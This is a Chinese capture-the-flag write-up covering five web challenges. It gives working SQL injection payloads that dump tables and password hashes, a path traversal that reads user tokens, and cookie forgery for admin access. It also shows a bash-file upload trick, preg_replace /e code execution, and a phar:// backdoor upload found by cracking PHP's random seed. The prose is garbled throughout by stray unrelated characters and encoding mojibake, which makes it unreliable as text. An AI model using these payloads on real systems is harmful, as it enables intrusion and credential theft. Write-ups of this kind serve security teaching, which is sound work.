adword里面題目很多口柳,挑一些題目來記錄
FlatScience
進(jìn)入題目界面
隨便點(diǎn)點(diǎn)之后,發(fā)現(xiàn)是一些網(wǎng)站望艺。對(duì)付這種找默,使用Burpsuite的Send to Spiders功能
可以看到有l(wèi)ogin.php和admin.php和robots.txt,訪問robots.txt里面也是login.php和admin.php,所以分別訪問login.php和admin.php
看到登錄框自然是想要SQL注入fuzz一波风钻。提交admin'會(huì)報(bào)錯(cuò)
Warning: SQLite3::query(): Unable to prepare statement: 1, near "fa27f6dc1fec7b2c54fd77ce7f0118fb2a3ab180": syntax error in /var/www/html/login.php on line 47
再提交admin' or '1'='1'--可以成功登錄魄咕,跳到主頁哮兰。發(fā)現(xiàn)還是沒有什么喝滞,回登錄界面查看右遭。抓包提交發(fā)現(xiàn)源代碼有tips
<!-- TODO: Remove ?debug-Parameter! -->
加上這個(gè)參數(shù)提交得到源碼
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body>
<div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div>
<h1>Login</h1>
Login Page, do not try to hax here plox!<br>
<form method="post">
ID:<br>
<input type="text" name="usr">
<br>
Password:<br>
<input type="text" name="pw">
<br><br>
<input type="submit" value="Submit">
</form>
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->
簡單的拼接邏輯吹榴,并且會(huì)在cookie中回顯图筹。
那就查看一下sqlite的注入方式远剩,參考鏈接
列數(shù)可以從代碼中看出來為2,接下來爆表腹纳。sqlite沒庫的概念只估,可以直接獲得表名
usr=admin' union select 1,name from sqlite_master where type='table' limit 0,1--&pw=1
這里只有一個(gè)表,如果想報(bào)全部的表可以用burpsuite修改limit后面的參數(shù)吁脱。
接下來報(bào)列
usr=admin' union select 1,sql from sqlite_master where type='table' limit 0,1--&pw=1
結(jié)果:
name= CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
看hint
usr=2' union select 1,hint from Users where name='admin'--&pw=1
結(jié)果
name= my fav word in my fav paper?!;
獲得admin密碼
usr=2' union select 1,password from Users where name='admin'--&pw=1
結(jié)果
3fab54a50e770d830c0416df817567662a9dc85c
cmd5查不到,行吧遍希,要去paper里找凿蒜。一個(gè)一個(gè)找和一個(gè)一個(gè)單詞去試废封,這題可能明年才做得出來漂洋。那就寫個(gè)爬蟲腳本和解析pdf單詞爆破密碼的腳本
爬蟲腳本
#!/usr/bin/python
# -*- coding: utf-8 -*-
# @Time : 2019/5/1 11:19
# @Author : wulasite
# @Email : wulasite@gmail.com
# @File : python.py
# @Software: PyCharm
import pybloom_live
import queue
import requests
import re
from urllib.parse import urljoin
from function import download_pdf,get_ext
target_url = 'http://111.198.29.45:45002/1/index.html'
q = queue.Queue()
# init the queue
q.put(target_url)
# bloom filter init
f = pybloom_live.BloomFilter(capacity=1000, error_rate=0.001)
# 布隆過濾器 去除重復(fù)url
def bloom(base_url, urls):
for i in urls:
new_url = urljoin(base_url, i)
if not f.add(new_url):
if get_ext(new_url) == '.pdf':
download_pdf(new_url)
else:
q.put(new_url)
# 獲取網(wǎng)頁的所有內(nèi)容
def get_content_urls(url):
try:
r = requests.get(url, timeout=15)
text = r.text
pattern = re.compile('<a.+?href=\"(.+?)\".+?>.+?<\/a>')
urls = pattern.findall(text)
# print(urls)
bloom(url, urls)
except requests.exceptions.MissingSchema as e:
print("捕不完的異常")
except requests.exceptions.ConnectTimeout as e:
print("捕不完的異常")
if __name__ == '__main__':
while not q.empty():
url = q.get()
print(url)
get_content_urls(url)
用了一個(gè)隊(duì)列和布隆過濾器演训,很快就爬完pdf了仇祭。
然后再寫一個(gè)pdf解析器
#!/usr/bin/python
# -*- coding: utf-8 -*-
# @Time : 2019/5/1 11:19
# @Author : wulasite
# @Email : wulasite@gmail.com
# @File : readpdf.py
# @Software: PyCharm
from pdfminer.pdfparser import PDFParser,PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal,LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os
import re
from function import get_sha1
def get_pdf():
return [i for i in os.listdir("./tmp") if i.endswith("pdf")]
def convert_pdf_2_text(path):
with open(path, 'rb') as fp:
# 用文件對(duì)象來創(chuàng)建一個(gè)pdf文檔分析器
praser = PDFParser(fp)
# 創(chuàng)建一個(gè)PDF文檔
doc = PDFDocument()
# 連接分析器 與文檔對(duì)象
praser.set_document(doc)
doc.set_parser(praser)
# 提供初始化密碼
# 如果沒有密碼 就創(chuàng)建一個(gè)空的字符串
doc.initialize()
# 檢測文檔是否提供txt轉(zhuǎn)換,不提供就忽略
if not doc.is_extractable:
raise PDFTextExtractionNotAllowed
else:
# 創(chuàng)建PDf 資源管理器 來管理共享資源
rsrcmgr = PDFResourceManager()
# 創(chuàng)建一個(gè)PDF設(shè)備對(duì)象
laparams = LAParams()
device = PDFPageAggregator(rsrcmgr, laparams=laparams)
# 創(chuàng)建一個(gè)PDF解釋器對(duì)象
interpreter = PDFPageInterpreter(rsrcmgr, device)
res = ''
# 循環(huán)遍歷列表礁苗,每次處理一個(gè)page的內(nèi)容
for page in doc.get_pages():
interpreter.process_page(page)
# 接受該頁面的LTPage對(duì)象
layout = device.get_result()
# 這里layout是一個(gè)LTPage對(duì)象 里面存放著 這個(gè)page解析出的各種對(duì)象 一般包括LTTextBox, LTFigure, LTImage, LTTextBoxHorizontal 等等 想要獲取文本就獲得對(duì)象的text屬性,
for x in layout:
if isinstance(x, LTTextBoxHorizontal):
res += x.get_text().strip()
# print(res)
return res
def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print("Searching word in " + i)
pdf_text = convert_pdf_2_text('tmp/'+i)
# 這里的分隔符用空格和回車就夠了疏叨,主要是分割出單詞
pdf_text = re.split(' | \n', pdf_text)
for word in pdf_text:
print(word)
enc_word = word + 'Salz!'
sha1_password = get_sha1(enc_word)
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print("Find the password :" + word)
exit()
if __name__ == '__main__':
find_password()
def get_sha1(s):
return hashlib.sha1(str(s).encode('utf-8')).hexdigest()
def download_pdf(url):
r = requests.get(url, stream=True, timeout=15)
filename = os.path.basename(url)
with open('tmp/'+filename, 'wb') as fd:
fd.write(r.content)
這腳本寫了挺久,主要是一開始想著用多線程做生成者和消費(fèi)者隊(duì)列秀又,結(jié)果發(fā)現(xiàn)爬蟲本身就是自銷自產(chǎn)吐辙。然后用布隆過濾器去重昏苏,防止爬蟲死循環(huán)贤惯。
最后就可以跑出密碼
ThinJerboa
Find the password :ThinJerboa
登錄admin界面即可得到密碼
wtf.sh-150
訪問題目界面救巷,是個(gè)論壇
探索了一下棒假,有幾個(gè)點(diǎn)
- 有注冊 登錄功能
- 有很多主題
- 主題可以回復(fù)
- 可以自己發(fā)布主題
既然有注冊等等帽哑,那就是試試妻枕,順便試試有沒有SQL注入屡谐。FUZZ了一下愕掏,沒有SQL注入饵撑,admin用戶存在,flag可能跟admin有關(guān)语卤。
對(duì)于有很多主題粱侣,那就是用Burpsuite的Spider看看有沒有什么隱藏的東西。發(fā)現(xiàn)就是幾個(gè)wtf模塊稠茂,login post profile reply等睬关。也沒有試出什么信息电爹。
第一波信息收集沒收集到什么意思丐箩,而且與普通網(wǎng)站文件后綴也不同施籍,是wtf丑慎。
回到題目首頁竿裂,標(biāo)題是
Welcome to the wtf.sh Forums!
試著訪問一下,發(fā)現(xiàn)顯示出了wtf.sh的源碼腻异,審計(jì)一下
可以關(guān)注的點(diǎn)有幾個(gè)
1. source lib.sh # import stdlib
2. # include文件捂掰,如果是wtf文件 當(dāng)成bash解析
function include_page {
# include_page <pathname>
local pathname=$1
local cmd=""
[[ "${pathname:(-4)}" = '.wtf' ]];
local can_execute=$?;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf
[[ "$" = "${line:0:1}" && ${can_execute} = 0 ]];
is_script=$?;
# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'\n'"${line#"$"}";
else
if [[ -n $cmd ]]
then
eval "$cmd" || log "Error during execution of ${cmd}";
cmd=""
fi
echo $line
fi
done < ${pathname}
else
echo "<p>Max include depth exceeded!<p>"
fi
}
3. 其它文件
cp -R css index.wtf lib.sh login.wtf logout.wtf new_post.wtf new_user.wtf post.wtf post_functions.sh posts profile.wtf reply.wtf spinup.sh user_functions.sh users users_lookup wtf.sh "${sandbox_dir}";
根據(jù)上面的東西,先把其它源碼給下下來審計(jì)姐帚。
1.lib.sh
一些依賴函數(shù)
2.spinup.sh
一些目錄初始化的命令
3.user_functions.sh
關(guān)于用戶的一些操作,比如創(chuàng)建用戶 登錄等
4.post_functions.sh
這里面有兩個(gè)函數(shù)九秀,一個(gè)是create_post,另一個(gè)是reply,根據(jù)函數(shù)名就可以猜得出功能
根據(jù)post_functions.sh里create_post的
local post_id=$(basename $(mktemp --directory posts/XXXXX));
echo ${username} > "posts/${post_id}/1";
echo ${title} >> "posts/${post_id}/1";
echo ${text} >> "posts/${post_id}/1";
可以知道鼓蜒,post_id是一個(gè)在posts下面的一個(gè)目錄都弹,并且會(huì)將內(nèi)容寫入該目錄下的1文件里,而且沒有做任何目錄限制匙姜,那么就可以目錄穿越畅厢,同時(shí)根據(jù)/post.wtf?post=K8laH是獲取論壇主題內(nèi)容,就可以知道會(huì)造成任意目錄下的文件讀取氮昧。
所以提交
http://111.198.29.45:44741/post.wtf?post=../
讀取上一層的文件
內(nèi)容過多框杜,搜索一下flag關(guān)鍵字
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$ then $ get_flag1 $ fi $ fi
可以得知浦楣,如果以admin登錄霸琴,就會(huì)獲得flag1椒振。關(guān)于獲得admin權(quán)限,第一就是獲得密碼梧乘,第二就是獲得cookie澎迎。之前user_functions.sh里有關(guān)于用戶的函數(shù),返回去看看可知
# user files look like:
# username
# hashed_pass
# token
echo "${username}" > "users/${user_id}";
echo "${hashed_pass}" >> "users/${user_id}";
echo "${token}" >> "users/${user_id}";
會(huì)把hash_pass和token放入users/${user_id}选调,既然這樣就可以直接讀取
?post=../users
密碼破解不出夹供,用修改cookie的方式
Cookie: USERNAME=admin; TOKEN=uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==
然后訪問profile得到flag1
讀了一下其它文件,發(fā)現(xiàn)沒有g(shù)et_flag2仁堪,所以應(yīng)該就是要執(zhí)行命令了欲险。
結(jié)合wtf.sh的.wtf文件解析鸠匀,就是要上傳一個(gè)wtf文件帖烘。在post_funtions里reply提供了這個(gè)機(jī)會(huì)
function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}
post_id是可控的柳击,username text可控,
所以先注冊一個(gè)開頭會(huì)被解析成bash。
然后抓包提交
// 這里的%20是空格捺檬,為了讓echo "${username}" > posts/1.wtf /${next_reply_id}截?cái)嘣俨悖@樣我們的1.wtf就不會(huì)被當(dāng)成文件夾,而是被當(dāng)成文件堡纬,不存在也會(huì)被創(chuàng)建聂受,然后寫入
// 之所以寫入users_lookup是因?yàn)閡sers_lookup文件夾下面沒有建立.nolist .noread,而posts下面有,所以無法訪問其下的wtf烤镐。
POST /reply.wtf?post=../users_lookup/1.wtf%20
xxx
text=123456&submit=
然后訪問users_lookup/1.wtf
ics-04
題目提示
工控云管理系統(tǒng)新添加的登錄和注冊頁面存在漏洞蛋济,請找出flag。
那就直接開始懟登錄和注冊功能炮叶。
有注冊登錄功能的題目瘫俊,當(dāng)然是先試注冊功能。
FUZZ了一番發(fā)現(xiàn)悴灵,沒有SQL注入,注冊的時(shí)候沒有檢查用戶是否存在骂蓖,所以可以重復(fù)注冊积瞒。所以注冊一個(gè)admin登錄試試。登錄成功之后提示
普通用戶登錄成功,沒什么用
那看來得找管理員賬戶登下,但是又不是admin茫孔。測試一下登錄功能也沒有發(fā)現(xiàn)SQL注入叮喳。但是還有個(gè)忘記密碼的功能。
測試了一波發(fā)現(xiàn)有SQL注入缰贝,并且沒有啥過濾馍悟。
在我確定列數(shù)之后,在嘗試使用
0' union select 1,2,databaser(),4#
發(fā)現(xiàn)好像database()函數(shù)被禁用了剩晴。那怎么辦锣咒?猜,不太現(xiàn)實(shí)赞弥。如果還記得爆表和列的庫information_schema里面存有庫和表的信息毅整,就可以利用這個(gè)。
提交
0' union select 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA),4 from information_schema.columns #
返回
information_schema,cetc004,mysql,performance_schema
根據(jù)結(jié)果返回提交
0' union select 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME),4 from information_schema.columns where table_schema='cetc004' #
返回
user
再提交
0' union select 1,2,GROUP_CONCAT(DISTINCT COLUMN_NAME),4 from information_schema.columns where TABLE_NAME='user' and table_schema='cetc004'#
返回
username,password,question,answer
管理員用戶應(yīng)該是第一個(gè)绽左,直接取應(yīng)該可以
0' union select 1,2,concat(username,',',password),4 from cetc004.user#
返回
c3tlwDmIn23,2f8667f381ff50ced6a3edc259260ba9
密碼查不出悼嫉,但是可以根據(jù)之前提到的,重復(fù)注冊漏洞拼窥,再注冊一個(gè)c3tlwDmIn23戏蔑,登錄即可拿到flag
擴(kuò)展一下,如果information_schema被過濾了鲁纠,如果沒有報(bào)錯(cuò)回顯总棵,似乎就只能爆破了,如果有報(bào)錯(cuò)回顯房交,可以參考一下這篇文章
cis-05
這題比較簡單彻舰,主要記錄一下
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
遇到這種可能存在漏洞的地方且不懂的函數(shù),就去查php.net或者百度候味,可以看到preg_replace這個(gè)函數(shù)的pattern參數(shù)的/e
e (PREG_REPLACE_EVAL)
Warning
This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.
如果設(shè)置了這個(gè)被棄用的修飾符刃唤, preg_replace() 在進(jìn)行了對(duì)替換字符串的 后向引用替換之后, 將替換后的字符串作為php 代碼評(píng)估執(zhí)行*(eval 函數(shù)方式)****,并使用執(zhí)行結(jié)果 作為實(shí)際參與替換的字符串白群。單引號(hào)尚胞、雙引號(hào)、反斜線(*)和 NULL 字符在 后向引用替換時(shí)會(huì)被用反斜線轉(zhuǎn)義.
所以如果是
preg_replace('/(.*)/e','system("ls")','xxxxx')
就會(huì)執(zhí)行system("ls")
GUESS
訪問題目界面
提示
please upload an IMAGE file (gif|jpg|jpeg|png)
嘗試提交一個(gè)圖片帜慢,地址變成了
/?page=upload
試著包含文件讀源碼笼裳,可以得到index.php和upload.php
<?php
error_reporting(0);
function show_error_message($message)
{
die("<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function show_message($message)
{
echo("<div class=\"msg success\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
session_start();
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {
$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);
if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
if ($check3) show_error_message("Nope!");
if ($check2) {
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>
看起來上傳圖片也沒什么漏洞,但是結(jié)合文件包含漏洞就可以執(zhí)行代碼粱玲,這是2016SWPU一道題類似的思路躬柬。但是這里不太一樣,這里上傳的圖片的文件名是隨機(jī)的抽减。但事實(shí)上允青,php的隨機(jī)是可以破解的,用cracker破解種子,用法看README卵沉〉唢保看代碼法牲,如果知道隨機(jī)出來的第一個(gè)數(shù)->破解出種子->知道seed->重現(xiàn)文件名。
但是第一個(gè)數(shù)又和一個(gè)奇怪的東西粘在一起
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);
這個(gè)session_id()是啥呢琼掠?就是我們提交過來的PHPSESSID=xxxxxx拒垃。如果為空就可以很容易的破解了。
所以老步驟:制造一個(gè)后門hello.php->壓縮成hello.zip->重命名成hello.png->空PHPSESSID上傳圖片獲得SESSI0N->破解出seed->破解文件名
實(shí)踐過程中遇到的一個(gè)比較大的問題就是不知道服務(wù)器php版本瓷蛙,只能一個(gè)一個(gè)的試了
返回的
SESSI0N=3d097941ce294aebbcf61c4ab9ea5499
去cmd5破解出第一個(gè)隨機(jī)數(shù)
429127491
所以去crack出seed
(base) root@VM-0-11-ubuntu:~/php_mt_seed-4.0# ./php_mt_seed 429127491
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 2692.9 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x06000000 - 0x07ffffff, speed 15.6 Mseeds/s
seed = 0x07a89d59 = 128490841 (PHP 5.2.1 to 7.0.x; HHVM)
Found 1, trying 0x8c000000 - 0x8dffffff, speed 15.6 Mseeds/s 128490841
seed = 0x8c438db1 = 2353237425 (PHP 7.1.0+)
Found 2, trying 0xfe000000 - 0xffffffff, speed 15.6 Mseeds/s
最后試出來的是PHP 5.2.1 to 7.0.x的128490841
所以模擬源代碼跑出文件名前綴
<?php
$seed = "128490841";
mt_srand($seed);
$ss = mt_rand();
$session_id="";
$hash1 = md5($session_id. $ss);
// 這里的hash2只是為了驗(yàn)證最終得出的數(shù)是否是返回的SESSI0N
$hash2 = "3d097941ce294aebbcf61c4ab9ea5499";
if($hash1===$hash2){
echo './uP1O4Ds/' . random_str() . '_';
}
else {
echo "";
}
function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
跑出的是
./uP1O4Ds/BfRZNJmJR2B8Zyz5XSWH6V9Xv3cb2g9T_
所以訪問
?page=phar://uP1O4Ds/BfRZNJmJR2B8Zyz5XSWH6V9Xv3cb2g9T_hello.png/hello
就可以運(yùn)行代碼了
所以PHP的隨機(jī)數(shù)要是知道某些特定的條件的時(shí)候悼瓮,就可以破解出seed了。
>>To be continue